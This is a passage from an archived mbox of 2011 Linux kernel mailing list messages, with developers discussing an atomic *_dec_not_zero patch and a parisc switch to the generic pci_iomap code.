Xref: news.gmane.org gmane.linux.ports.mips.general:33129 gmane.linux.ports.ia64:21911 gmane.linux.documentation:3663 gmane.linux.ports.sparc:15540 gmane.linux.ports.hexagon:353 gmane.linux.kernel.cross-arch:11639 gmane.linux.uml.devel:13291 gmane.linux.ports.parisc:4061 gmane.org.freifunk.batman:5777 gmane.linux.kernel:1224189 gmane.linux.ports.alpha:1609 gmane.linux.ports.ppc64.devel:78820
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33129>


--nextPart1410499.ht9VK84Yej
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="UTF-8"

On Monday 05 December 2011 09:41:55 Benjamin Herrenschmidt wrote:
> On Sun, 2011-12-04 at 22:18 +0000, Russell King - ARM Linux wrote:
> 
>  .../...
> 
> > And really, I believe it would be a good cleanup if all the standard
> > definitions for atomic64 ops (like atomic64_add_negative) were also
> > defined in include/linux/atomic.h rather than individually in every
> > atomic*.h header throughout the kernel source, except where an arch
> > wants to explicitly override it.  Yet again, virtually all architectures
> > define these in exactly the same way.
> > 
> > We have more than enough code in arch/ for any architecture to worry
> > about, we don't need schemes to add more when there's simple and
> > practical solutions to avoiding doing so if the right design were
> > chosen (preferably from the outset.)
> > 
> > So, I'm not going to offer my ack for a change which I don't believe
> > is the correct approach.
> 
> I agree with Russell, his approach is a lot easier to maintain long run,
> we should even consider converting existing definitions.

I would rather go with "the existing definitions have to converted" and this 
means "not by this patch". At the moment, the atomic64 stuff exist only as 
separate generic or arch specific implementation. It is fine that Russell King 
noticed that people like Arun Sharma did a lot of work to made it true for 
atomic_t, but atomic64_t is a little bit different right now (at least as I 
understand it).

Kind regards,
	Sven
--nextPart1410499.ht9VK84Yej
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAABCgAGBQJO3HlnAAoJEF2HCgfBJntGIwEP+wbmx8RBe4+2rxtioZSWADVS
WTLVEVXMSXyL/WFdHGHydFJouj+fsSCSeLiqUq64xJF0J/zUZiT5YZNcqc67bG0I
D/m3R1NSDP8Rzuxs8xeCpMaG6Iy2AcaHL+FBHotuWZ4bGgvUDZioti3wt9UFJPar
JOUBH3BowE007CtAlEc0i5pMu0YGAvu1Y2OlGuSAdernpzsSkfsL+B9ArK5rrpgT
0YaP8HWLFnjclXES0jgoad5exyh+ItgQltR/yGIOTU0zyIsv/3mtwIUw0/K0ZTGX
U/UgN6KWLyxmDW0wCr6QseA73mqT5SyAxFmCRzsDbyZTSXgEr6qZIWxLzr7kQNet
ki2ZdeyjIWuklCWqvrjStrIY1+Q3dAzh0P7q75/INBCujMio3LqdsmaPaIvyJdzr
R6Q5xzsOtkqUVZYKscBJfHah2fzuEJ04ulfAda7OarzQynA2FvP+Wb7MP+Z1NNby
7lDV1AyhHqiWh6gPey7GJJ5qQqMsJn2ladR68rt74GyULv7XHJ6fhzDx6CUYk35K
2MPFB2O66C6UI1osCbJWxYeuO2myGtRwWo4MLJ6w4UGqBEV4k5x3TBUlHg5fDdJR
lhGVpPrS/1CzOh8tMCyiRWADxN1wYyIGTVMyY7SbF/iLfECGQeqPYDcIhgzjDBB9
eaY9hfOs3nyq/zSRPmrD
=esnW
-----END PGP SIGNATURE-----

--nextPart1410499.ht9VK84Yej--




From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.org.freifunk.batman,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: Re: Re: [PATCHv5] atomic: add *_dec_not_zero
Date: Mon, 05 Dec 2011 19:26:55 +1100
Lines: 41
Approved: news@gmane.org
Message-ID: <1323073615.660.11.camel@pasglop>
References: <1323013369-29691-1-git-send-email-sven@narfation.org>
         <20111204221850.GC14542@n2100.arm.linux.org.uk>
         <1323038515.11728.26.camel@pasglop>
         <3836467.I5Tqg6MFf9@sven-laptop.home.narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323073790 15928 80.91.229.12 (5 Dec 2011 08:29:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2011 08:29:50 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
        linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
        "H. Peter Anvin" <hpa@zytor.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Randy Dunlap <rdunlap@xenotime.net>,
        Paul Mackerras <paulus@samba.org>,
        Helge Deller <deller@gmx.de>, sparclinux@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        Richard Weinberger <richard@nod.at>,
        Hirokazu Takata <takata@linux-m32r.org>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Arnd Bergma
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Dec 05 09:29:36 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RXTvb-0006qC-2K
	for sgi-linux-mips@gmane.org; Mon, 05 Dec 2011 09:29:35 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:49674 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903607Ab1LEI3c (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 5 Dec 2011 09:29:32 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 05 Dec 2011 09:29:15 +0100 (CET)
Original-Received: from gate.crashing.org ([63.228.1.57]:51060 "EHLO gate.crashing.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1903606Ab1LEI3I (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 5 Dec 2011 09:29:08 +0100
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
        by gate.crashing.org (8.14.1/8.13.8) with ESMTP id pB58Qunn015240;
        Mon, 5 Dec 2011 02:26:56 -0600
In-Reply-To: <3836467.I5Tqg6MFf9@sven-laptop.home.narfation.org>
X-Mailer: Evolution 3.2.1- 
X-archive-position: 32029
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: benh@kernel.crashing.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33130 gmane.linux.ports.ia64:21912 gmane.linux.documentation:3664 gmane.linux.ports.sparc:15541 gmane.linux.ports.hexagon:354 gmane.linux.kernel.cross-arch:11640 gmane.linux.uml.devel:13292 gmane.linux.ports.parisc:4062 gmane.org.freifunk.batman:5778 gmane.linux.kernel:1224197 gmane.linux.ports.alpha:1610 gmane.linux.ports.ppc64.devel:78822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33130>

On Mon, 2011-12-05 at 08:57 +0100, Sven Eckelmann wrote:
> On Monday 05 December 2011 09:41:55 Benjamin Herrenschmidt wrote:
> > On Sun, 2011-12-04 at 22:18 +0000, Russell King - ARM Linux wrote:
> > 
> >  .../...
> > 
> > > And really, I believe it would be a good cleanup if all the standard
> > > definitions for atomic64 ops (like atomic64_add_negative) were also
> > > defined in include/linux/atomic.h rather than individually in every
> > > atomic*.h header throughout the kernel source, except where an arch
> > > wants to explicitly override it.  Yet again, virtually all architectures
> > > define these in exactly the same way.
> > > 
> > > We have more than enough code in arch/ for any architecture to worry
> > > about, we don't need schemes to add more when there's simple and
> > > practical solutions to avoiding doing so if the right design were
> > > chosen (preferably from the outset.)
> > > 
> > > So, I'm not going to offer my ack for a change which I don't believe
> > > is the correct approach.
> > 
> > I agree with Russell, his approach is a lot easier to maintain long run,
> > we should even consider converting existing definitions.
> 
> I would rather go with "the existing definitions have to converted" and this 
> means "not by this patch".

Right. I didn't suggest -you- had to do it as a pre-req to your patch.

>  At the moment, the atomic64 stuff exist only as 
> separate generic or arch specific implementation. It is fine that Russell King 
> noticed that people like Arun Sharma did a lot of work to made it true for 
> atomic_t, but atomic64_t is a little bit different right now (at least as I 
> understand it).

Cheers,
Ben.





From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David Laight" <David.Laight@ACULAB.COM>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.org.freifunk.batman,gmane.linux.kernel
Subject: RE: Re: [PATCHv5] atomic: add *_dec_not_zero
Date: Mon, 5 Dec 2011 11:44:10 -0000
Lines: 20
Approved: news@gmane.org
Message-ID: <AE90C24D6B3A694183C094C60CF0A2F6D8AEFE@saturn3.aculab.com>
References: <20111204221850.GC14542@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323085500 14821 80.91.229.12 (5 Dec 2011 11:45:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2011 11:45:00 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 Randy Dunlap <rdunlap@xenotime.net>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>,
 Arnd Bergma nn <arnd@arndb.de>, Jeff Dike <jdike@addtoit.com>,
 linux-alpha@vger.kernel.org, Chris Metcalf <cmetcalf@tilera.com>,
 Tony Luck <tony.luck@intel.com>, Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
 Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@li
To: "Russell King - ARM Linux" <linux@arm.linux.org.uk>,
 "Sven Eckelmann" <sven@narfation.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Mon Dec 05 12:44:47 2011
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1RXWyT-0003hS-Cs
	for glppe-linuxppc-embedded-2@m.gmane.org; Mon, 05 Dec 2011 12:44:46 +0100
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 2E79D100A10
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Mon,  5 Dec 2011 22:44:33 +1100 (EST)
Original-Received: from mx0.aculab.com (mx0.aculab.com [213.249.233.131])
 by ozlabs.org (Postfix) with SMTP id E48901007D7
 for <linuxppc-dev@lists.ozlabs.org>; Mon,  5 Dec 2011 22:44:25 +1100 (EST)
Original-Received: (qmail 13011 invoked from network); 5 Dec 2011 11:44:20 -0000
Original-Received: from localhost (127.0.0.1)
 by mx0.aculab.com with SMTP; 5 Dec 2011 11:44:20 -0000
Original-Received: from mx0.aculab.com ([127.0.0.1])
 by localhost (mx0.aculab.com [127.0.0.1]) (amavisd-new, port 10024) with SMTP
 id 12939-02 for <linuxppc-dev@lists.ozlabs.org>;
 Mon,  5 Dec 2011 11:44:20 +0000 (GMT)
Original-Received: (qmail 12709 invoked by uid 599); 5 Dec 2011 11:44:16 -0000
Original-Received: from unknown (HELO saturn3.Aculab.com) (10.202.163.5)
 by mx0.aculab.com (qpsmtpd/0.28) with ESMTP; Mon, 05 Dec 2011 11:44:16 +0000
Original-Received: from saturn3.Aculab.com ([10.202.163.5]) by saturn3.Aculab.com with
 Microsoft SMTPSVC(6.0.3790.4675); Mon, 5 Dec 2011 11:44:10 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
In-Reply-To: <20111204221850.GC14542@n2100.arm.linux.org.uk>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Re: [PATCHv5] atomic: add *_dec_not_zero
Thread-Index: Acyy0x4HjkbAO+BaTWSu0XHw1HNtUwAb8ndQ
X-OriginalArrivalTime: 05 Dec 2011 11:44:10.0781 (UTC)
 FILETIME=[3441CCD0:01CCB343]
X-Virus-Scanned: by iCritical at mx0.aculab.com
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:47358 gmane.linux.ports.mips.general:33131 gmane.linux.ports.ia64:21913 gmane.linux.documentation:3665 gmane.linux.ports.sparc:15542 gmane.linux.kernel.cross-arch:11641 gmane.linux.uml.devel:13293 gmane.linux.ports.hexagon:355 gmane.linux.ports.alpha:1611 gmane.linux.ports.arm.kernel:142661 gmane.linux.ports.parisc:4063 gmane.org.freifunk.batman:5785 gmane.linux.kernel:1224296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/47358>

Looking at this:

> #ifndef atomic_inc_unless_negative
> static inline int atomic_inc_unless_negative(atomic_t *p)
> {
>         int v, v1;
>         for (v = 0; v >= 0; v = v1) {
>                 v1 = atomic_cmpxchg(p, v, v + 1);
>                 if (likely(v1 == v))
>                         return 1;
>         }
>         return 0;
> }
> #endif

why is it optimised for '*p' being zero??
I'd have though the initial assignment to 'v' should
be made by reading '*p' without any memory barriers (etc).

	David

From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Mon, 05 Dec 2011 09:33:29 -0600
Lines: 70
Approved: news@gmane.org
Message-ID: <1323099209.7213.18.camel@dabdike.int.hansenpartnership.com>
References: <cover.1322163031.git.mst@redhat.com>
	 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
	 <20111204104817.GI15464@redhat.com>
	 <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
	 <20111204143000.GB21238@redhat.com>
	 <1323009144.3003.6.camel@dabdike.int.hansenpartnership.com>
	 <20111204144236.GA21506@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323099225 6452 80.91.229.12 (5 Dec 2011 15:33:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2011 15:33:45 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 16:33:36 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXaXu-00032L-8S
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Dec 2011 16:33:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932390Ab1LEPdd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Dec 2011 10:33:33 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51444 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932368Ab1LEPdd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Dec 2011 10:33:33 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8DC758EE0C5;
	Mon,  5 Dec 2011 07:33:32 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MhszCvRN2IB0; Mon,  5 Dec 2011 07:33:32 -0800 (PST)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 44C7B8EE0A5;
	Mon,  5 Dec 2011 07:33:31 -0800 (PST)
In-Reply-To: <20111204144236.GA21506@redhat.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4064
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4064>

On Sun, 2011-12-04 at 16:42 +0200, Michael S. Tsirkin wrote:
> On Sun, Dec 04, 2011 at 08:32:24AM -0600, James Bottomley wrote:
> > On Sun, 2011-12-04 at 16:30 +0200, Michael S. Tsirkin wrote:
> > > On Sun, Dec 04, 2011 at 08:22:34AM -0600, James Bottomley wrote:
> > > > On Sun, 2011-12-04 at 12:48 +0200, Michael S. Tsirkin wrote:
> > > > > On Thu, Nov 24, 2011 at 10:19:34PM +0200, Michael S. Tsirkin wrote:
> > > > > > parisc copied pci_iomap from generic code, probably to avoid
> > > > > > pulling the rest of iomap.c in.  Since that's in
> > > > > > a separate file now, we can reuse the common implementation.
> > > > > > 
> > > > > > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> > > > > 
> > > > > Sorry to nag, any ACKs/NACKs on the parisc part?
> > > > > I intend to send this to Linus if there are no
> > > > > objections. Thanks!
> > > > 
> > > > Next time, send the patch to linux-arch or linux-parisc ... it helps to
> > > > get people to review it. Although this one looks completely trivial,
> > > > unless I'm missing something?
> > > 
> > > I think it's trivial but I don't have the setup to even compile it so
> > > depend on someone to ack.
> > > 
> > > > Obviously there was a bit of a brain fart when this was done: the parisc
> > > > piece shouldn't be a copy of the generic code: we don't have native i/o
> > > > ports and emulation is pretty expensive, so we should prefer
> > > > IORESOURCE_MEM over IORESOURCE_IO when both are available  ... but even
> > > > on x86, memory mapping is faster (although not by the order of magnitude
> > > > it is on parisc), so it looks like you could fix this in the generic
> > > > code.
> > > > 
> > > > James
> > > 
> > > AFAIK, on PCI a resource is either IO or MEM, but never both.
> > > What am I missing?
> > 
> > Could be ... I know we've had issues in the past with standard drivers
> > like the sym53c8xx which map via both and operate far less efficiently
> > over I/O ... but that could have been different bars I suppose (it's so
> > long ago that I can't remember).
> 
> Probably, it looks like it has both mmio and io:
> 
> drivers/scsi/sym53c8xx_2/sym_glue.c
> 
> #ifdef CONFIG_SCSI_SYM53C8XX_MMIO
>         if (device->mmio_base)
>                 device->s.ioaddr = pci_iomap(pdev, 1,
>                                                 pci_resource_len(pdev, 1));
> #endif
>         if (!device->s.ioaddr)
>                 device->s.ioaddr = pci_iomap(pdev, 0,
>                                                 pci_resource_len(pdev, 0));
> 
> 
> so ... ACK?

Um, well, it looks like a trivial code shift, so it doesn't really need
one (it can just go through the trivial tree).  Unless there's some
reason actually to test it out on parisc because something will break
(in which case, I'll need the actual patch, not just a quoted one).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Mon, 5 Dec 2011 18:24:13 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <20111205162412.GA15603@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
 <20111204104817.GI15464@redhat.com>
 <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
 <20111204143000.GB21238@redhat.com>
 <1323009144.3003.6.camel@dabdike.int.hansenpartnership.com>
 <20111204144236.GA21506@redhat.com>
 <1323099209.7213.18.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1323102176 2518 80.91.229.12 (5 Dec 2011 16:22:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2011 16:22:56 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 17:22:51 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXbJW-0007hZ-Ax
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Dec 2011 17:22:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932494Ab1LEQWp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Dec 2011 11:22:45 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:23826 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932447Ab1LEQWp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Dec 2011 11:22:45 -0500
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pB5GMWCd005351
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 5 Dec 2011 11:22:33 -0500
Original-Received: from redhat.com (reserved-201-250.tlv.redhat.com [10.35.201.250] (may be forged))
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pB5GMTWv027102;
	Mon, 5 Dec 2011 11:22:30 -0500
Content-Disposition: inline
In-Reply-To: <1323099209.7213.18.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4065
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4065>

On Mon, Dec 05, 2011 at 09:33:29AM -0600, James Bottomley wrote:
> On Sun, 2011-12-04 at 16:42 +0200, Michael S. Tsirkin wrote:
> > On Sun, Dec 04, 2011 at 08:32:24AM -0600, James Bottomley wrote:
> > > On Sun, 2011-12-04 at 16:30 +0200, Michael S. Tsirkin wrote:
> > > > On Sun, Dec 04, 2011 at 08:22:34AM -0600, James Bottomley wrote:
> > > > > On Sun, 2011-12-04 at 12:48 +0200, Michael S. Tsirkin wrote:
> > > > > > On Thu, Nov 24, 2011 at 10:19:34PM +0200, Michael S. Tsirkin wrote:
> > > > > > > parisc copied pci_iomap from generic code, probably to avoid
> > > > > > > pulling the rest of iomap.c in.  Since that's in
> > > > > > > a separate file now, we can reuse the common implementation.
> > > > > > > 
> > > > > > > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> > > > > > 
> > > > > > Sorry to nag, any ACKs/NACKs on the parisc part?
> > > > > > I intend to send this to Linus if there are no
> > > > > > objections. Thanks!
> > > > > 
> > > > > Next time, send the patch to linux-arch or linux-parisc ... it helps to
> > > > > get people to review it. Although this one looks completely trivial,
> > > > > unless I'm missing something?
> > > > 
> > > > I think it's trivial but I don't have the setup to even compile it so
> > > > depend on someone to ack.
> > > > 
> > > > > Obviously there was a bit of a brain fart when this was done: the parisc
> > > > > piece shouldn't be a copy of the generic code: we don't have native i/o
> > > > > ports and emulation is pretty expensive, so we should prefer
> > > > > IORESOURCE_MEM over IORESOURCE_IO when both are available  ... but even
> > > > > on x86, memory mapping is faster (although not by the order of magnitude
> > > > > it is on parisc), so it looks like you could fix this in the generic
> > > > > code.
> > > > > 
> > > > > James
> > > > 
> > > > AFAIK, on PCI a resource is either IO or MEM, but never both.
> > > > What am I missing?
> > > 
> > > Could be ... I know we've had issues in the past with standard drivers
> > > like the sym53c8xx which map via both and operate far less efficiently
> > > over I/O ... but that could have been different bars I suppose (it's so
> > > long ago that I can't remember).
> > 
> > Probably, it looks like it has both mmio and io:
> > 
> > drivers/scsi/sym53c8xx_2/sym_glue.c
> > 
> > #ifdef CONFIG_SCSI_SYM53C8XX_MMIO
> >         if (device->mmio_base)
> >                 device->s.ioaddr = pci_iomap(pdev, 1,
> >                                                 pci_resource_len(pdev, 1));
> > #endif
> >         if (!device->s.ioaddr)
> >                 device->s.ioaddr = pci_iomap(pdev, 0,
> >                                                 pci_resource_len(pdev, 0));
> > 
> > 
> > so ... ACK?
> 
> Um, well, it looks like a trivial code shift, so it doesn't really need
> one (it can just go through the trivial tree).

It's part of a larger set not all of which is trivial.

>  Unless there's some
> reason actually to test it out on parisc because something will break
> (in which case, I'll need the actual patch, not just a quoted one).
> 
> James

A build test would be nice. Just forwarded you a patch.
It's also on linux-next.

-- 
MST
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Mon, 05 Dec 2011 10:46:03 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1323103563.7213.31.camel@dabdike.int.hansenpartnership.com>
References: <cover.1322163031.git.mst@redhat.com>
	 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
	 <20111204104817.GI15464@redhat.com>
